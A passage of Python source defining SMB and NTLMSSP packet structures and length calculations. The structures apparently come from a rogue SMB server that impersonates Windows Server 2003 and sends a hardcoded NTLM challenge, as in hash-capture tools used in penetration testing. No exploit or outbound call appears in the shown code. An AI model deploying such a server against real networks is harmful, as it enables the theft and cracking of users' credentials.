lf.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])
Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen1))
self.fields["InitContextTokenASNLen"] = struct.pack("<B", len(AsnLenStart))
self.fields["ThisMechASNLen"] = struct.pack("<B", len(str(self.fields["ThisMechASNStr"])))
self.fields["SpNegoTokenASNLen"] = struct.pack("<B", len(AsnLen2))
self.fields["NegTokenASNLen"] = struct.pack("<B", len(AsnLen2)-2)
self.fields["NegTokenTag0ASNLen"] = struct.pack("<B", len(MechTypeLen))
self.fields["NegThisMechASNLen"] = struct.pack("<B", len(MechTypeLen)-2)
self.fields["NegThisMech1ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech1ASNStr"])))
self.fields["NegThisMech2ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech2ASNStr"])))
self.fields["NegThisMech3ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech3ASNStr"])))
self.fields["NegThisMech4ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech4ASNStr"])))
self.fields["NegTokenTag3ASNLen"] = struct.pack("<B", len(Tag3Len))
self.fields["NegHintASNLen"] = struct.pack("<B", len(Tag3Len)-2)
self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))
class SMBSession1Data(Packet):
fields = OrderedDict([
("Wordcount", "\x04"),
("AndXCommand", "\xff"),
("Reserved", "\x00"),
("Andxoffset", "\x5f\x01"),
("Action", "\x00\x00"),
("SecBlobLen", "\xea\x00"),
("Bcc", "\x34\x01"),
("ChoiceTagASNId", "\xa1"),
("ChoiceTagASNLenOfLen", "\x81"),
("ChoiceTagASNIdLen", "\x00"),
("NegTokenTagASNId", "\x30"),
("NegTokenTagASNLenOfLen","\x81"),
("NegTokenTagASNIdLen", "\x00"),
("Tag0ASNId", "\xA0"),
("Tag0ASNIdLen", "\x03"),
("NegoStateASNId", "\x0A"),
("NegoStateASNLen", "\x01"),
("NegoStateASNValue", "\x01"),
("Tag1ASNId", "\xA1"),
("Tag1ASNIdLen", "\x0c"),
("Tag1ASNId2", "\x06"),
("Tag1ASNId2Len", "\x0A"),
("Tag1ASNId2Str", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
("Tag2ASNId", "\xA2"),
("Tag2ASNIdLenOfLen", "\x81"),
("Tag2ASNIdLen", "\xED"),
("Tag3ASNId", "\x04"),
("Tag3ASNIdLenOfLen", "\x81"),
("Tag3ASNIdLen", "\xEA"),
("NTLMSSPSignature", "NTLMSSP"),
("NTLMSSPSignatureNull", "\x00"),
("NTLMSSPMessageType", "\x02\x00\x00\x00"),
("NTLMSSPNtWorkstationLen","\x1e\x00"),
("NTLMSSPNtWorkstationMaxLen","\x1e\x00"),
("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"),
("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"),
("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"),
("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"),
("NTLMSSPNtTargetInfoLen","\x94\x00"),
("NTLMSSPNtTargetInfoMaxLen","\x94\x00"),
("NTLMSSPNtTargetInfoBuffOffset","\x56\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionHigh","\x05"),
("NegTokenInitSeqMechMessageVersionLow","\x02"),
("NegTokenInitSeqMechMessageVersionBuilt","\xce\x0e"),
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
("NTLMSSPNtWorkstationName","SMB12"),
("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
("NTLMSSPNTLMChallengeAVPairsUnicodeStr","smb12"),
("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","SERVER2008"),
("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","smb12.local"),
("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","SERVER2008.smb12.local"),
("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","smb12.local"),
("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
("NTLMSSPNTLMPadding", ""),
("NativeOs","Windows Server 2003 3790 Service Pack 2"),
("NativeOsTerminator","\x00\x00"),
("NativeLAN", "Windows Server 2003 5.2"),
("NativeLANTerminator","\x00\x00"),
])
def calculate(self):
###### Convert strings to Unicode
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le')
self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le')
self.fields["NativeLAN"] = self.fields["NativeLAN"].encode('utf-16le')
###### SecBlobLen Calc:
AsnLen = str(self.fields["ChoiceTagASNId"])+str(self.fields["ChoiceTagASNLenOfLen"])+str(self.fields["ChoiceTagASNIdLen"])+str(self.fields["NegTokenTagASNId"])+str(self.fields["NegTokenTagASNLenOfLen"])+str(self.fields["NegTokenTagASNIdLen"])+str(self.fields["Tag0ASNId"])+str(self.fields["Tag0ASNIdLen"])+str(self.fields["NegoStateASNId"])+str(self.fields["NegoStateASNLen"])+str(self.fields["NegoStateASNValue"])+str(self.fields["Tag1ASNId"])+str(self.fields["Tag1ASNIdLen"])+str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])+str(self.fields["Tag2ASNId"])+str(self.fields["Tag2ASNIdLenOfLen"])+str(self.fields["Tag2ASNIdLen"])+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])
CalculateSecBlob = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NTLMSSPNtWorkstationName"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
###### Bcc len
BccLen = AsnLen+CalculateSecBlob+str(self.fields["NTLMSSPNTLMPadding"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLAN"])+str(self.fields["NativeLANTerminator"])
###### SecBlobLen
self.fields["SecBlobLen"] = struct.pack("<h", len(AsnLen+CalculateSecBlob))
self.fields["Bcc"] = struct.pack("<h", len(BccLen))
self.fields["ChoiceTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-3)
self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-6)
self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])))
self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"])))
self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])))
self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob))
###### Andxoffset calculation.
CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Action"])+str(self.fields["SecBlobLen"])+str(self.fields["Bcc"])+BccLen
self.fields["Andxoffset"] = struct.pack("<h", len(CalculateCompletePacket)+32)
###### Workstation Offset
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
###### AvPairs Offset
CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
##### Workstation Offset Calculation:
self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation))
self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
##### IvPairs Offset Calculation:
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs))
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs))
##### IvPair Calculation:
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
class SMBSession2Accept(Packet):
fields = OrderedDict([
("Wordcount", "\x04"),
("AndXCommand", "\xff"),
("Reserved", "\x00"),
("Andxoffset", "\xb4\x00"),
("Action", "\x00\x00"),
("SecBlobLen", "\x09\x00"),
("Bcc", "\x89\x01"),
("SSPIAccept","\xa1\x07\x30\x05\xa0\x03\x0a\x01\x00"),
("NativeOs","Windows Server 2003 3790 Service Pack 2"),
("NativeOsTerminator","\x00\x00"),
("NativeLAN", "Windows Server 2003 5.2"),
("NativeLANTerminator","\x00\x00"),
])
def calculate(self):
self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le')
self.fields["NativeLAN"] = self.fields["NativeLAN"].encode('utf-16le')
BccLen = str(self.fields["SSPIAccept"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLAN"])+str(self.fields["NativeLANTerminator"])
self.fields["Bcc"] = struct.pack("<h", len(BccLen))
class SMBSessEmpty(Packet):
fields = OrderedDict([
("Empty", "\x00\x00\x00"),
])
class SMBTreeData(Packet):
fields = OrderedDict([
("Wordcount", "\x07"),
("AndXCommand", "\xff"),
("Reserved","\x00" ),
("Andxoffset", "\xbd\x00"),
("OptionalSupport","\x00\x00"),
("MaxShareAccessRight","\x00\x00\x00\x00"),
("GuestShareAccessRight","\x00\x00\x00\x00"),
("Bcc", "\x94\x00"),
("Service", "IPC"),
("ServiceTerminator","\x00\x00\x00\x00"),
])
def calculate(self):
## Complete Packet Len
CompletePacket= str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["OptionalSupport"])+str(self.fields["MaxShareAccessRight"])+str(self.fields["GuestShareAccessRight"])+str(self.fields["Bcc"])+str(self.fields["Service"])+str(self.fields["ServiceTerminator"])
## AndXOffset
self.fields["Andxoffset"] = struct.pack("<H", len(CompletePacket)+32)
## BCC Len Calc
BccLen= str(self.fields["Service"])+str(self.fields["ServiceTerminator"])
self.fields["Bcc"] = struct.pack("<H", len(BccLen))
class SMBSessTreeAns(Packet):
fields = OrderedDict([
("Wordcount", "\x03"),
("Command", "\x75"),
("Reserved", "\x00"),
("AndXoffset", "\x4e\x00"),
("Action", "\x01\x00"),
("Bcc", "\x25\x00"),
("NativeOs", "Windows 5.1"),
("NativeOsNull", "\x00"),
("NativeLan", "Windows 2000 LAN Manager"),
("NativeLanNull", "\x00"),
("WordcountTree", "\x03"),
("AndXCommand", "\xff"),
("Reserved1", "\x00"),
("AndxOffset", "\x00\x00"),
("OptionalSupport", "\x01\x00"),
("Bcc2", "\x08\x00"),
("Service", "A:"),
("ServiceNull", "\x00"),
("FileSystem", "NTFS"),
("FileSystemNull", "\x00"),
])
def calculate(self):
## AndxOffset
CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["Command"])+str(self.fields["Reserved"])+str(self.fields["AndXoffset"])+str(self.fields["Action"])+str(self.fields["Bcc"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
self.fields["AndXoffset"] = struct.pack("<i", len(CalculateCompletePacket)+32)[:2]
## BCC 1 and 2
CompleteBCCLen = str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
CompleteBCC2Len = str(self.fields["Service"])+str(self.fields["ServiceNull"])+str(self.fields["FileSystem"])+str(self.fields["FileSystemNull"])
self.fields["Bcc2"] = struct.pack("<h",len(CompleteBCC2Len))
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